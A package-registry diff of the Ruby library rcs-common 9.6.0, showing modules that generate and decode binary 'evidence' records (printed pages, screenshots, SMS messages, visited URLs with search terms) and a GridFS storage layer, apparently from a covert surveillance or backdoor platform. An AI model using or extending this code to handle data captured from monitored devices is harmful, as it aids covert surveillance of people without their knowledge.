rcs-common 9.6.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (116) hide show
  1. checksums.yaml +7 -0
  2. data/.gitignore +49 -0
  3. data/Gemfile +4 -0
  4. data/LICENSE.txt +1 -0
  5. data/Rakefile +27 -0
  6. data/lib/rcs-common.rb +21 -0
  7. data/lib/rcs-common/binary.rb +64 -0
  8. data/lib/rcs-common/cgi.rb +7 -0
  9. data/lib/rcs-common/component.rb +87 -0
  10. data/lib/rcs-common/crypt.rb +71 -0
  11. data/lib/rcs-common/deploy.rb +96 -0
  12. data/lib/rcs-common/diagnosticable.rb +136 -0
  13. data/lib/rcs-common/evidence.rb +261 -0
  14. data/lib/rcs-common/evidence/addressbook.rb +173 -0
  15. data/lib/rcs-common/evidence/application.rb +59 -0
  16. data/lib/rcs-common/evidence/calendar.rb +62 -0
  17. data/lib/rcs-common/evidence/call.rb +185 -0
  18. data/lib/rcs-common/evidence/camera.rb +25 -0
  19. data/lib/rcs-common/evidence/chat.rb +272 -0
  20. data/lib/rcs-common/evidence/clibpoard.rb +58 -0
  21. data/lib/rcs-common/evidence/command.rb +50 -0
  22. data/lib/rcs-common/evidence/common.rb +78 -0
  23. data/lib/rcs-common/evidence/content/camera/001.jpg +0 -0
  24. data/lib/rcs-common/evidence/content/coin/wallet_bit.dat +0 -0
  25. data/lib/rcs-common/evidence/content/coin/wallet_lite.dat +0 -0
  26. data/lib/rcs-common/evidence/content/file/Einstein.docx +0 -0
  27. data/lib/rcs-common/evidence/content/file/arabic.docx +0 -0
  28. data/lib/rcs-common/evidence/content/mouse/001.jpg +0 -0
  29. data/lib/rcs-common/evidence/content/mouse/002.jpg +0 -0
  30. data/lib/rcs-common/evidence/content/mouse/003.jpg +0 -0
  31. data/lib/rcs-common/evidence/content/mouse/004.jpg +0 -0
  32. data/lib/rcs-common/evidence/content/print/001.jpg +0 -0
  33. data/lib/rcs-common/evidence/content/screenshot/001.jpg +0 -0
  34. data/lib/rcs-common/evidence/content/screenshot/002.jpg +0 -0
  35. data/lib/rcs-common/evidence/content/screenshot/003.jpg +0 -0
  36. data/lib/rcs-common/evidence/content/url/001.jpg +0 -0
  37. data/lib/rcs-common/evidence/content/url/002.jpg +0 -0
  38. data/lib/rcs-common/evidence/content/url/003.jpg +0 -0
  39. data/lib/rcs-common/evidence/device.rb +23 -0
  40. data/lib/rcs-common/evidence/download.rb +54 -0
  41. data/lib/rcs-common/evidence/exec.rb +0 -0
  42. data/lib/rcs-common/evidence/file.rb +129 -0
  43. data/lib/rcs-common/evidence/filesystem.rb +71 -0
  44. data/lib/rcs-common/evidence/info.rb +24 -0
  45. data/lib/rcs-common/evidence/keylog.rb +84 -0
  46. data/lib/rcs-common/evidence/mail.rb +237 -0
  47. data/lib/rcs-common/evidence/mic.rb +39 -0
  48. data/lib/rcs-common/evidence/mms.rb +36 -0
  49. data/lib/rcs-common/evidence/money.rb +676 -0
  50. data/lib/rcs-common/evidence/mouse.rb +62 -0
  51. data/lib/rcs-common/evidence/password.rb +60 -0
  52. data/lib/rcs-common/evidence/photo.rb +80 -0
  53. data/lib/rcs-common/evidence/position.rb +303 -0
  54. data/lib/rcs-common/evidence/print.rb +50 -0
  55. data/lib/rcs-common/evidence/screenshot.rb +53 -0
  56. data/lib/rcs-common/evidence/sms.rb +91 -0
  57. data/lib/rcs-common/evidence/url.rb +133 -0
  58. data/lib/rcs-common/fixnum.rb +48 -0
  59. data/lib/rcs-common/gridfs.rb +294 -0
  60. data/lib/rcs-common/heartbeat.rb +96 -0
  61. data/lib/rcs-common/keywords.rb +50 -0
  62. data/lib/rcs-common/mime.rb +65 -0
  63. data/lib/rcs-common/mongoid.rb +19 -0
  64. data/lib/rcs-common/pascalize.rb +62 -0
  65. data/lib/rcs-common/path_utils.rb +67 -0
  66. data/lib/rcs-common/resolver.rb +40 -0
  67. data/lib/rcs-common/rest.rb +17 -0
  68. data/lib/rcs-common/sanitize.rb +42 -0
  69. data/lib/rcs-common/serializer.rb +404 -0
  70. data/lib/rcs-common/signature.rb +141 -0
  71. data/lib/rcs-common/stats.rb +94 -0
  72. data/lib/rcs-common/symbolize.rb +10 -0
  73. data/lib/rcs-common/systemstatus.rb +136 -0
  74. data/lib/rcs-common/temporary.rb +13 -0
  75. data/lib/rcs-common/time.rb +24 -0
  76. data/lib/rcs-common/trace.rb +138 -0
  77. data/lib/rcs-common/trace.yaml +42 -0
  78. data/lib/rcs-common/updater/client.rb +354 -0
  79. data/lib/rcs-common/updater/dsl.rb +178 -0
  80. data/lib/rcs-common/updater/payload.rb +79 -0
  81. data/lib/rcs-common/updater/server.rb +126 -0
  82. data/lib/rcs-common/updater/shared_key.rb +55 -0
  83. data/lib/rcs-common/updater/tmp_dir.rb +13 -0
  84. data/lib/rcs-common/utf16le.rb +83 -0
  85. data/lib/rcs-common/version.rb +5 -0
  86. data/lib/rcs-common/winfirewall.rb +235 -0
  87. data/rcs-common.gemspec +64 -0
  88. data/spec/gridfs_spec.rb +637 -0
  89. data/spec/mongoid.yaml +6 -0
  90. data/spec/signature_spec.rb +105 -0
  91. data/spec/spec_helper.rb +22 -0
  92. data/spec/updater_spec.rb +80 -0
  93. data/tasks/deploy.rake +21 -0
  94. data/tasks/protect.rake +90 -0
  95. data/test/helper.rb +17 -0
  96. data/test/test_binary.rb +107 -0
  97. data/test/test_cgi.rb +14 -0
  98. data/test/test_crypt.rb +125 -0
  99. data/test/test_evidence.rb +52 -0
  100. data/test/test_evidence_manager.rb +119 -0
  101. data/test/test_fixnum.rb +35 -0
  102. data/test/test_keywords.rb +137 -0
  103. data/test/test_mime.rb +49 -0
  104. data/test/test_pascalize.rb +100 -0
  105. data/test/test_path_utils.rb +24 -0
  106. data/test/test_rcs-common.rb +7 -0
  107. data/test/test_sanitize.rb +40 -0
  108. data/test/test_serialization.rb +20 -0
  109. data/test/test_stats.rb +90 -0
  110. data/test/test_symbolize.rb +20 -0
  111. data/test/test_systemstatus.rb +35 -0
  112. data/test/test_time.rb +56 -0
  113. data/test/test_trace.rb +25 -0
  114. data/test/test_utf16le.rb +71 -0
  115. data/test/test_winfirewall.rb +68 -0
  116. metadata +423 -0
@@ -0,0 +1,50 @@
1
+ require 'rcs-common/evidence/common'
2
+
3
+ module RCS
4
+
5
+ module PrintEvidence
6
+
7
+ PRINT_VERSION = 2009031201
8
+
9
+ def content
10
+ path = File.join(File.dirname(__FILE__), 'content', 'print', '001.jpg')
11
+ File.open(path, 'rb') {|f| f.read }
12
+ end
13
+
14
+ def generate_content
15
+ [ content ]
16
+ end
17
+
18
+ def additional_header
19
+ name = 'ASP_Common.h'.to_utf16le_binary
20
+ header = StringIO.new
21
+ header.write [PRINT_VERSION, name.size].pack("I*")
22
+ header.write name
23
+
24
+ header.string
25
+ end
26
+
27
+ def decode_additional_header(data)
28
+ raise EvidenceDeserializeError.new("incomplete PRINT") if data.nil? or data.bytesize == 0
29
+
30
+ binary = StringIO.new data
31
+
32
+ version, name_len = binary.read(8).unpack("I*")
33
+ raise EvidenceDeserializeError.new("invalid log version for PRINT") unless version == PRINT_VERSION
34
+
35
+ ret = Hash.new
36
+ ret[:data] = Hash.new
37
+ ret[:data][:spool] = binary.read(name_len).utf16le_to_utf8
38
+ return ret
39
+ end
40
+
41
+ def decode_content(common_info, chunks)
42
+ info = Hash[common_info]
43
+ info[:data] ||= Hash.new
44
+ info[:grid_content] = chunks.first
45
+ yield info if block_given?
46
+ :delete_raw
47
+ end
48
+ end
49
+
50
+ end # ::RCS
@@ -0,0 +1,53 @@
1
+ require 'rcs-common/evidence/common'
2
+
3
+ module RCS
4
+
5
+ module ScreenshotEvidence
6
+
7
+ SCREENSHOT_VERSION = 2009031201
8
+
9
+ def content
10
+ path = File.join(File.dirname(__FILE__), 'content', 'screenshot', '00' + (rand(3) + 1).to_s + '.jpg')
11
+ File.open(path, 'rb') {|f| f.read }
12
+ end
13
+
14
+ def generate_content
15
+ [ content ]
16
+ end
17
+
18
+ def additional_header
19
+ process_name = 'ruby'.to_utf16le_binary
20
+ window_name = 'Ruby Backdoor!'.to_utf16le_binary
21
+ header = StringIO.new
22
+ header.write [SCREENSHOT_VERSION, process_name.size, window_name.size].pack("I*")
23
+ header.write process_name
24
+ header.write window_name
25
+
26
+ header.string
27
+ end
28
+
29
+ def decode_additional_header(data)
30
+ raise EvidenceDeserializeError.new("incomplete SCREENSHOT") if data.nil? or data.bytesize == 0
31
+
32
+ binary = StringIO.new data
33
+
34
+ version, process_name_len, window_name_len = binary.read(12).unpack("I*")
35
+ raise EvidenceDeserializeError.new("invalid log version for SCREENSHOT") unless version == SCREENSHOT_VERSION
36
+
37
+ ret = Hash.new
38
+ ret[:data] = Hash.new
39
+ ret[:data][:program] = binary.read(process_name_len).utf16le_to_utf8
40
+ ret[:data][:window] = binary.read(window_name_len).utf16le_to_utf8
41
+ return ret
42
+ end
43
+
44
+ def decode_content(common_info, chunks)
45
+ info = Hash[common_info]
46
+ info[:data] ||= Hash.new
47
+ info[:grid_content] = chunks.join
48
+ yield info if block_given?
49
+ :delete_raw
50
+ end
51
+ end
52
+
53
+ end # ::RCS
@@ -0,0 +1,91 @@
1
+ require_relative 'common'
2
+ require 'rcs-common/serializer'
3
+
4
+ module RCS
5
+
6
+ module SmsoldEvidence
7
+ def content
8
+ raise "Not implemented!"
9
+ end
10
+
11
+ def generate_content
12
+ raise "Not implemented!"
13
+ end
14
+
15
+ def decode_content(common_info, chunks)
16
+
17
+ info = Hash[common_info]
18
+ info[:data] ||= Hash.new
19
+ info[:data][:type] = :sms
20
+
21
+ stream = StringIO.new chunks.join
22
+ @sms = MAPISerializer.new.unserialize stream
23
+
24
+ info[:da] = @sms.delivery_time
25
+ info[:data][:from] = @sms.fields[:from].delete("\x00")
26
+ info[:data][:rcpt] = @sms.fields[:rcpt].delete("\x00")
27
+ info[:data][:content] = @sms.fields[:subject]
28
+ info[:data][:incoming] = @sms.flags
29
+
30
+ yield info if block_given?
31
+ :keep_raw
32
+ end
33
+ end # ::SmsoldEvidence
34
+
35
+ module SmsEvidence
36
+
37
+ SMS_VERSION = 2010050501
38
+
39
+ def content
40
+ "test sms".to_utf16le_binary_null
41
+ end
42
+
43
+ def generate_content
44
+ [ content ]
45
+ end
46
+
47
+ def additional_header
48
+ header = StringIO.new
49
+ header.write [SMS_VERSION].pack("l")
50
+ header.write [[0,1].sample].pack("l") # incoming
51
+ time = Time.now.getutc.to_filetime
52
+ header.write time.pack('L*')
53
+ header.write "+39123456789".ljust(16, "\x00")
54
+ header.write "+39987654321".ljust(16, "\x00")
55
+ header.string
56
+ end
57
+
58
+ def decode_additional_header(data)
59
+ binary = StringIO.new data
60
+
61
+ version = binary.read(4).unpack('l').first
62
+ raise EvidenceDeserializeError.new("invalid log version for SMS") unless version == SMS_VERSION
63
+
64
+ ret = Hash.new
65
+ ret[:data] = Hash.new
66
+
67
+ ret[:data][:incoming] = binary.read(4).unpack('l').first
68
+ low, high = binary.read(8).unpack('L2')
69
+ # ignore this time value, it's the same as the acquired in the common header
70
+ # Time.from_filetime high, low
71
+ ret[:data][:from] = binary.read(16).delete("\x00")
72
+ ret[:data][:rcpt] = binary.read(16).delete("\x00")
73
+
74
+ return ret
75
+ end
76
+
77
+ def decode_content(common_info, chunks)
78
+ info = Hash[common_info]
79
+ info[:data] ||= Hash.new
80
+ info[:data][:type] = :sms
81
+
82
+ stream = StringIO.new chunks.join
83
+
84
+ info[:data][:content] = stream.read.utf16le_to_utf8
85
+
86
+ yield info if block_given?
87
+ :delete_raw
88
+ end
89
+ end # ::SmsEvidence
90
+
91
+ end # ::RCS
@@ -0,0 +1,133 @@
1
+ require 'rcs-common/evidence/common'
2
+
3
+ require 'CGI'
4
+
5
+ module RCS
6
+
7
+ module UrlEvidence
8
+
9
+ VERSION_DELIMITER = 0x20100713
10
+ ELEM_DELIMITER = 0xABADC0DE
11
+ BROWSER_TYPE = ['Unknown', 'Internet Explorer', 'Firefox', 'Opera', 'Safari', 'Chrome', 'Mobile Safari', 'Browser', 'Web']
12
+
13
+ def decode_query(url)
14
+ query = []
15
+ query = url.scan(/(?:&?|^)q=([^&]*)(?:&|$)/).first if url['google']
16
+ query = url.scan(/(?:&?|^)p=([^&]*)(?:&|$)/).first if url['yahoo']
17
+ query = url.scan(/(?:&?|^)q=([^&]*)(?:&|$)/).first if url['bing']
18
+
19
+ return CGI::unescape query.first unless query.nil? or query.empty?
20
+ return ''
21
+ end
22
+
23
+ def content
24
+ browser = [1, 2, 3, 4, 5, 6].sample
25
+ r = rand(4)
26
+ url = ["http://www.google.it/#hl=it&source=hp&q=pippo+baudo&aq=f&aqi=g10&aql=&oq=&gs_rfai=&fp=67a9a41ace8bb1ed", "http://reader.google.com", "https://www.facebook.com", "www.stackoverflow.com"][r].to_utf16le_binary_null
27
+ window = ["Google Search", "Google Reader", "Facebook", "Stackoverflow"][r].to_utf16le_binary_null
28
+
29
+ content = StringIO.new
30
+ t = Time.now.getutc
31
+ content.write [t.sec, t.min, t.hour, t.mday, t.mon, t.year, t.wday, t.yday, t.isdst ? 0 : 1].pack('l*')
32
+ content.write [ VERSION_DELIMITER ].pack('L')
33
+ content.write url
34
+ content.write [ browser ].pack('L')
35
+ content.write window
36
+ content.write [ ELEM_DELIMITER ].pack('L')
37
+
38
+ content.string
39
+ end
40
+
41
+ def generate_content
42
+ ret = Array.new
43
+ 10.rand_times { ret << content() }
44
+ ret
45
+ end
46
+
47
+ def decode_content(common_info, chunks)
48
+ stream = StringIO.new chunks.join
49
+
50
+ until stream.eof?
51
+ info = Hash[common_info]
52
+ info[:data] = Hash.new if info[:data].nil?
53
+
54
+ tm = stream.read 36
55
+ info[:da] = Time.gm(*tm.unpack('L*'), 0)
56
+ info[:data][:url] = ''
57
+ info[:data][:title] = ''
58
+
59
+ delim = stream.read(4).unpack('L').first
60
+ raise EvidenceDeserializeError.new("Malformed evidence (invalid URL version)") unless delim == VERSION_DELIMITER
61
+
62
+ url = stream.read_utf16le_string
63
+ info[:data][:url] = url.utf16le_to_utf8 unless url.nil?
64
+ browser = stream.read(4).unpack('L').first
65
+ info[:data][:program] = BROWSER_TYPE[browser]
66
+ window = stream.read_utf16le_string
67
+ info[:data][:title] = window.utf16le_to_utf8 unless window.nil?
68
+ info[:data][:keywords] = decode_query info[:data][:url]
69
+
70
+ delim = stream.read(4).unpack('L').first
71
+ raise EvidenceDeserializeError.new("Malformed URL (missing delimiter)") unless delim == ELEM_DELIMITER
72
+
73
+ yield info if block_given?
74
+ :delete_raw
75
+ end
76
+ end
77
+
78
+ end
79
+
80
+ module UrlcaptureEvidence
81
+ include UrlEvidence
82
+
83
+ URL_VERSION = 2010071301
84
+
85
+ def content
86
+ path = File.join(File.dirname(__FILE__), 'content', 'url', '00' + (rand(3) + 1).to_s + '.jpg')
87
+ File.open(path, 'rb') {|f| f.read }
88
+ end
89
+
90
+ def generate_content
91
+ [ content ]
92
+ end
93
+
94
+ def additional_header
95
+ browser = [1, 2, 3, 4, 5, 6].sample
96
+ r = rand(3)
97
+ url = ['http://reader.google.com', 'https://www.facebook.com', 'http://www.stackoverflow.com'][r].to_utf16le_binary
98
+ window = ['Google', 'Facebook', 'Stackoverflow'][r].to_utf16le_binary
99
+ header = StringIO.new
100
+ header.write [URL_VERSION, browser, url.size, window.size].pack("I*")
101
+ header.write url
102
+ header.write window
103
+
104
+ header.string
105
+ end
106
+
107
+ def decode_additional_header(data)
108
+ raise EvidenceDeserializeError.new("incomplete URLCAPTURE") if data.nil? or data.bytesize == 0
109
+
110
+ binary = StringIO.new data
111
+
112
+ version, browser, url_len, window_len = binary.read(16).unpack("I*")
113
+ raise EvidenceDeserializeError.new("invalid log version for URLCAPTURE") unless version == URL_VERSION
114
+
115
+ ret = Hash.new
116
+ ret[:data] = Hash.new
117
+ ret[:data][:program] = BROWSER_TYPE[browser]
118
+ ret[:data][:url] = binary.read(url_len).utf16le_to_utf8
119
+ ret[:data][:title] = binary.read(window_len).utf16le_to_utf8
120
+ ret[:data][:keywords] = decode_query ret[:data][:url]
121
+ return ret
122
+ end
123
+
124
+ def decode_content(common_info, chunks)
125
+ info = Hash[common_info]
126
+ info[:data] ||= Hash.new
127
+ info[:grid_content] = chunks.join
128
+ yield info if block_given?
129
+ :delete_raw
130
+ end
131
+ end
132
+
133
+ end # ::RCS
@@ -0,0 +1,48 @@
1
+
2
+ module ByteSize
3
+
4
+ KiB = 2**10
5
+ MiB = 2**20
6
+ GiB = 2**30
7
+ TiB = 2**40
8
+
9
+ KB = 10**3
10
+ MB = 10**6
11
+ GB = 10**9
12
+ TB = 10**12
13
+
14
+ # return the size in a human readable format
15
+ def to_s_bytes(base = 2)
16
+
17
+ base_two = {TiB => 'TiB', GiB => 'GiB', MiB => 'MiB', KiB => 'KiB'}
18
+ base_ten = {TB => 'TB', GB => 'GB', MB => 'MB', KB => 'kB'}
19
+
20
+ values = base_two if base == 2
21
+ values = base_ten if base == 10
22
+
23
+ values.each_pair do |k, v|
24
+ if self >= k
25
+ return (self.to_f / k).round(2).to_s + ' ' + v
26
+ end
27
+ end
28
+
29
+ # case when is under KiB
30
+ return self.to_s + ' B'
31
+
32
+ end
33
+
34
+ end
35
+
36
+ class Fixnum
37
+ include ByteSize
38
+ end
39
+
40
+ class Float
41
+ include ByteSize
42
+ end
43
+
44
+ # we need to add it even to Bignum for windows32 compatibility
45
+ # everything over a GiB is Bignum...
46
+ class Bignum
47
+ include ByteSize
48
+ end
@@ -0,0 +1,294 @@
1
+ require 'digest/md5'
2
+ require 'rcs-common/mongoid'
3
+
4
+ module RCS
5
+ module Common
6
+ module GridFS
7
+ BSON = Moped::BSON if Mongoid::VERSION < '4.0.0'
8
+
9
+ class ReadOnlyFile
10
+ attr_reader :attributes, :bucket, :file_position
11
+
12
+ def initialize(bucket, attributes)
13
+ @attributes = attributes
14
+ @bucket = bucket
15
+ @last_chunk_num = (@attributes[:length].to_f / @attributes[:chunk_size]).ceil - 1
16
+ rewind
17
+ end
18
+
19
+ def method_missing(name)
20
+ raise NoMethodError.new(name.inspect) unless @attributes.has_key?(name)
21
+ @attributes[name]
22
+ end
23
+
24
+ def read(bytes_to_read = nil)
25
+ data = ''
26
+
27
+ return data if @file_position >= @attributes[:length]
28
+ return data if bytes_to_read and bytes_to_read <= 0
29
+
30
+ if @current_chunk[:n]
31
+ chunk_size = @attributes[:chunk_size]
32
+ offset = @file_position % chunk_size
33
+ offset = chunk_size if offset == 0
34
+ data = @current_chunk[:data][offset..-1] || ''
35
+ end
36
+
37
+ if bytes_to_read.nil? or bytes_to_read > data.bytesize
38
+ loop do
39
+ break unless read_next_chunk
40
+ data << @current_chunk[:data]
41
+
42
+ break if bytes_to_read and bytes_to_read <= data.bytesize
43
+ end
44
+ end
45
+
46
+ bytes_to_read = bytes_to_read ? bytes_to_read - 1 : -1
47
+ data = data[0..bytes_to_read]
48
+ @file_position += data.bytesize
49
+ data
50
+ end
51
+
52
+ def rewind
53
+ @current_chunk = {n: nil, data: nil}
54
+ @file_position = 0
55
+ end
56
+
57
+ def eof?
58
+ @file_position >= @attributes[:length]
59
+ end
60
+
61
+ def id
62
+ @attributes[:_id]
63
+ end
64
+
65
+ def file_length
66
+ @attributes[:length]
67
+ end
68
+
69
+ alias :content :read
70
+ alias :tell :file_position
71
+ alias :position :file_position
72
+ alias :pos :file_position
73
+
74
+ private
75
+
76
+ def read_next_chunk
77
+ chunk_num = @current_chunk[:n] ? @current_chunk[:n] + 1 : 0
78
+ return nil if chunk_num == @last_chunk_num + 1
79
+
80
+ chunk = bucket.chunks_collection.find(files_id: @attributes[:_id], n: chunk_num).first
81
+ # chunk maybe nil in case of corrupted data
82
+ # e.g.: declared length different than the actual length
83
+ return nil unless chunk
84
+
85
+ @current_chunk = {n: chunk['n'], data: chunk['data'].data}
86
+ end
87
+ end
88
+
89
+ class Bucket
90
+ attr_reader :name, :mongoid_session_name
91
+
92
+ DEFAULT_NAME = 'fs'
93
+ DEFAULT_CONTENT_TYPE = 'application/octet-stream'
94
+ DEFAULT_CHUNK_SIZE = 262144
95
+ BINARY_ENCODING = 'BINARY'
96
+
97
+ def initialize(name = DEFAULT_NAME, options = {})
98
+ @name = name.to_s.downcase.strip
99
+ @name = DEFAULT_NAME if @name.empty?
100
+ @mongoid_session_name = options[:mongoid_session_name] || :default
101
+ @setup_on_write = options[:lazy].nil? ? true : options[:lazy]
102
+ @osx = RbConfig::CONFIG['host_os'] =~ /darwin/
103
+
104
+ setup unless @setup_on_write
105
+ end
106
+
107
+ def session_options
108
+ # Allow unsafe write on OSX.
109
+ # @see https://github.com/mongoid/mongoid/issues/3582
110
+
111
+ @osx ? {safe: false} : {}
112
+ end
113
+
114
+ def session
115
+ Mongoid.session(mongoid_session_name).with(session_options)
116
+ end
117
+
118
+ def files_collection
119
+ session[:"#{name}.files"]
120
+ end
121
+
122
+ def chunks_collection
123
+ session[:"#{name}.chunks"]
124
+ end
125
+
126
+ def put(content, attrs = {}, options = {})
127
+ return if content.nil?
128
+
129
+ file = {}
130
+
131
+ file[:_id] = BSON::ObjectId.new
132
+ file[:length] = content.bytesize
133
+ file[:chunkSize] = DEFAULT_CHUNK_SIZE
134
+
135
+ return if file[:length].zero?
136
+
137
+ file[:filename] = attrs[:filename]
138
+ file[:contentType] = attrs[:content_type] || attrs[:contentType] || DEFAULT_CONTENT_TYPE
139
+ file[:aliases] = attrs[:aliases] || []
140
+ file[:aliases] = [file[:aliases]].flatten
141
+ file[:metadata] = attrs[:metadata] || {}
142
+ file[:metadata] = {} if file[:metadata].blank?
143
+ file[:uploadDate] = attrs[:upload_date] || attrs[:uploadDate] || Time.now.utc
144
+
145
+ file[:md5] = write(file[:_id], content, options)
146
+
147
+ files_collection.insert(file)
148
+
149
+ file[:_id]
150
+ end
151
+
152
+ def md5(file_id)
153
+ doc = session.command(filemd5: file_id, root: name)
154
+ doc['md5'] if doc.respond_to?(:[])
155
+ end
156
+
157
+ def append(file_id, data, options = {})
158
+ attributes = if options[:filename]
159
+ files_collection.find(filename: file_id).first
160
+ else
161
+ file_id = objectid(file_id)
162
+ files_collection.find(_id: file_id).first
163
+ end
164
+
165
+ if !attributes and options[:create]
166
+ file_attributes = options[:create].respond_to?(:[]) ? options[:create] : {}
167
+ new_file_id = put(data, file_attributes, options)
168
+ return [new_file_id, data.bytesize]
169
+ end
170
+
171
+ raise("File not found: #{file_id}") unless attributes
172
+
173
+ attributes = attributes.to_h.symbolize_keys
174
+
175
+ file_id = objectid(attributes[:_id])
176
+
177
+ length, chunk_size = attributes[:length], attributes[:chunkSize]
178
+
179
+ chunk_offset = (length / chunk_size).to_i
180
+ offset = length % chunk_size
181
+
182
+ if offset > 0
183
+ data = chunks_collection.find(files_id: file_id, n: chunk_offset).first['data'].data + data
184
+ end
185
+
186
+ chunkerize(data) do |chunk_data, chunk_num|
187
+ chunks_collection.find(files_id: file_id, n: chunk_num + chunk_offset).upsert('$set' => {data: binary(chunk_data)})
188
+ end
189
+
190
+ new_md5 = md5(file_id) if options[:md5] != false
191
+ new_length = length - offset + data.bytesize
192
+
193
+ files_collection.find(_id: file_id).update('$set' => {length: new_length, md5: new_md5})
194
+
195
+ [file_id, new_length]
196
+ end
197
+
198
+ # Equivalent to #get(id).read
199
+ def content(file_id)
200
+ file_id = objectid(file_id)
201
+
202
+ chunks_collection.find(files_id: file_id, n: {'$gte' => 0}).inject("") do |data, chunk|
203
+ data << chunk['data'].data
204
+ end
205
+ end
206
+
207
+ def get(file_id, options = {})
208
+ file_id = objectid(file_id)
209
+ attributes = files_collection.find(_id: file_id).first
210
+
211
+ return unless attributes
212
+
213
+ attributes = attributes.to_h.symbolize_keys
214
+ attributes[:bucket] = self
215
+ attributes[:chunk_size] = attributes[:chunkSize]
216
+ attributes[:content_type] = attributes[:contentType]
217
+ attributes[:upload_date] = attributes[:uploadDate]
218
+
219
+ ReadOnlyFile.new(self, attributes)
220
+ end
221
+
222
+ def delete(file_id)
223
+ file_id = objectid(file_id)
224
+
225
+ files_collection.find(_id: file_id).remove
226
+ chunks_collection.find(files_id: file_id).remove_all
227
+
228
+ return nil
229
+ end
230
+
231
+ def drop
232
+ [files_collection, chunks_collection].map(&:drop)
233
+ @setup_on_write = true
234
+ end
235
+
236
+ alias :remove :delete
237
+
238
+ private
239
+
240
+ def objectid(id)
241
+ id.respond_to?(:generation_time) ? id : BSON::ObjectId.from_string(id.to_s)
242
+ end
243
+
244
+ def setup
245
+ chunks_collection.indexes.create({files_id: 1, n: 1}, {unique: true})
246
+ # This is an optional index (not required by the gridfs specs)
247
+ files_collection.indexes.create({filename: 1}, {background: true})
248
+ nil
249
+ end
250
+
251
+ def chunkerize(data)
252
+ offset = 0
253
+ chunk_num = 0
254
+
255
+ loop do
256
+ chunk_data = data.byteslice(offset..(offset + DEFAULT_CHUNK_SIZE - 1))
257
+ break if chunk_data.nil?
258
+ chunk_data_size = chunk_data.bytesize
259
+ offset += chunk_data_size
260
+ break if chunk_data_size == 0
261
+ yield(chunk_data, chunk_num)
262
+ break if chunk_data_size < DEFAULT_CHUNK_SIZE
263
+ chunk_num += 1
264
+ end
265
+ end
266
+
267
+ def write(file_id, data, options = {})
268
+ @setup_on_write = setup if @setup_on_write
269
+
270
+ md5 = Digest::MD5.new if options[:md5] != false
271
+
272
+ chunkerize(data) do |chunk_data, chunk_num|
273
+ chunks_collection.insert(files_id: file_id, n: chunk_num, data: binary(chunk_data))
274
+ md5.update(chunk_data) if md5
275
+ end
276
+
277
+ md5.hexdigest if md5
278
+ end
279
+
280
+ if Mongoid::VERSION < '4.0.0'
281
+ def binary(data)
282
+ data.force_encoding(BINARY_ENCODING) if data.respond_to?(:force_encoding)
283
+ BSON::Binary.new(:generic, data)
284
+ end
285
+ else
286
+ def binary(data)
287
+ data.force_encoding(BINARY_ENCODING) if data.respond_to?(:force_encoding)
288
+ BSON::Binary.new(data, :generic)
289
+ end
290
+ end
291
+ end
292
+ end
293
+ end
294
+ end